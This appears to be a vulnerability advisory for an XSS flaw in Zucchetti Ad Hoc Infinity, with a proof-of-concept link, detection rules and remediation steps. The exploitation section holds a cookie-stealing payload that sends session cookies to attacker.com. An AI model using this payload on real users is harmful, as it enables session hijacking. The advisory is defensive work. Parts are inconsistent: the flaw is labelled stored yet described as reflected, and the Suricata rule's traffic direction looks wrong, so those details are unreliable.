CVE-2025-52180

Executive Summary

CVE-2025-52180 is a Stored Cross-Site Scripting (XSS) vulnerability in Zucchetti Ad Hoc Infinity version 4.2 and earlier. The flaw resides in the /ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource endpoint, where the pHtmlSource parameter is not properly sanitized before being rendered. An unauthenticated, remote attacker can inject arbitrary JavaScript code, which will execute in the context of the victim's browser when the crafted page is accessed.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 6.1 (Medium), with the vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, no privileges, but does require user interaction (the victim must click a link or visit a crafted page). The impact is limited to confidentiality and integrity loss (e.g., session hijacking, defacement, data theft) with no availability impact.

Note: This vulnerability is not related to a WordPress plugin or component; it is a standalone Java-based web application from Zucchetti.

CVSS Breakdown & Threat Level

Threat Level: Medium. While the vulnerability is easy to exploit and requires no authentication, the need for user interaction reduces the immediate risk. However, in a corporate environment, a single spear-phishing campaign could compromise multiple sessions.

Deep Dive & Mechanics

The vulnerability exists in the JSP file gsfr_feditorHTML.jsp. This page is used for editing HTML content (likely for report or form generation). The pHtmlSource parameter is taken directly from the HTTP request and embedded into the response without any encoding or validation.

Attack Flow:

1. An attacker crafts a malicious URL: https://target/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script>
2. The attacker sends this link to a victim (e.g., via email or social engineering).
3. The victim, authenticated to the Zucchetti application, clicks the link.
4. The server returns the JSP page with the injected script embedded in the HTML.
5. The victim's browser executes the script, which can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The pHtmlSource parameter is not sanitized or encoded before being rendered. The application likely uses request.getParameter("pHtmlSource") and directly outputs it via <%= ... %> or similar JSP expression.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String htmlSource = request.getParameter("pHtmlSource");
%>
<div>
    <%= htmlSource %>
</div>

Patched Code (Conceptual):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String htmlSource = request.getParameter("pHtmlSource");
%>
<div>
    <%= Encode.forHtml(htmlSource) %>
</div>

The patched version uses an output encoding library (e.g., OWASP Java Encoder) to escape HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Zucchetti Ad Hoc Infinity 4.2 or earlier.
• Network access to the /ahi/jsp/gsfr_feditorHTML.jsp endpoint.

Proof-of-Concept (PoC):

<!-- Simple alert PoC -->
<a href="https://target/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script>">Click me</a>

Advanced Payload (Session Hijacking):

<script>
    var img = new Image();
    img.src = "https://attacker.com/steal?cookie=" + document.cookie;
</script>

URL Encoded Payload:

https://target/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /ahi/jsp/gsfr_feditorHTML.jsp with suspicious pHtmlSource parameters containing <script>, onerror=, javascript:, etc.
• Use WAF rules to block requests with HTML/script tags in the pHtmlSource parameter.

Hardening:

• Apply input validation: reject any pHtmlSource parameter containing HTML tags.
• Implement output encoding using OWASP Java Encoder or similar.
• Upgrade to a patched version when available.
• Restrict access to the endpoint via network segmentation or authentication.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /ahi/jsp/gsfr_feditorHTML.jsp with pHtmlSource parameter containing <script>, %3Cscript%3E, or other HTML/JavaScript constructs.
• Outbound connections from the application server to attacker-controlled domains (e.g., for cookie exfiltration).

File IOCs:

• Modified JSP files (if attacker gains write access).
• Suspicious entries in web server access logs.

Log IOCs:

• Repeated 200 responses to /ahi/jsp/gsfr_feditorHTML.jsp with unusual query strings.
• User agent strings not matching typical browser patterns.

Detection Engineering

YARA Rule

rule CVE_2025_52180_XSS_Detection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-52180 in Zucchetti Ad Hoc Infinity"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52180"
    strings:
        $xss_pattern1 = "pHtmlSource=" nocase
        $xss_pattern2 = "<script" nocase
        $xss_pattern3 = "onerror=" nocase
        $xss_pattern4 = "javascript:" nocase
    condition:
        $xss_pattern1 and ($xss_pattern2 or $xss_pattern3 or $xss_pattern4)
}

Sigma Rule

title: CVE-2025-52180 XSS Attempt in Zucchetti Ad Hoc Infinity
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML editing features (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52180 Zucchetti Ad Hoc Infinity XSS Attempt"; flow:to_server,established; content:"/ahi/jsp/gsfr_feditorHTML.jsp"; http_uri; content:"pHtmlSource="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if possible until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> or onerror= in the pHtmlSource parameter.
3. Restrict network access to the /ahi/jsp/gsfr_feditorHTML.jsp endpoint to only trusted IPs.

Long-Term Fix:

• Apply input validation and output encoding as shown in the patched code example.
• Upgrade to a patched version when Zucchetti releases one.
• Conduct a security audit of all JSP files for similar injection vulnerabilities.

Workaround:

• If patching is not possible, remove or disable the gsfr_feditorHTML.jsp file entirely (if the feature is not critical).

Valters IT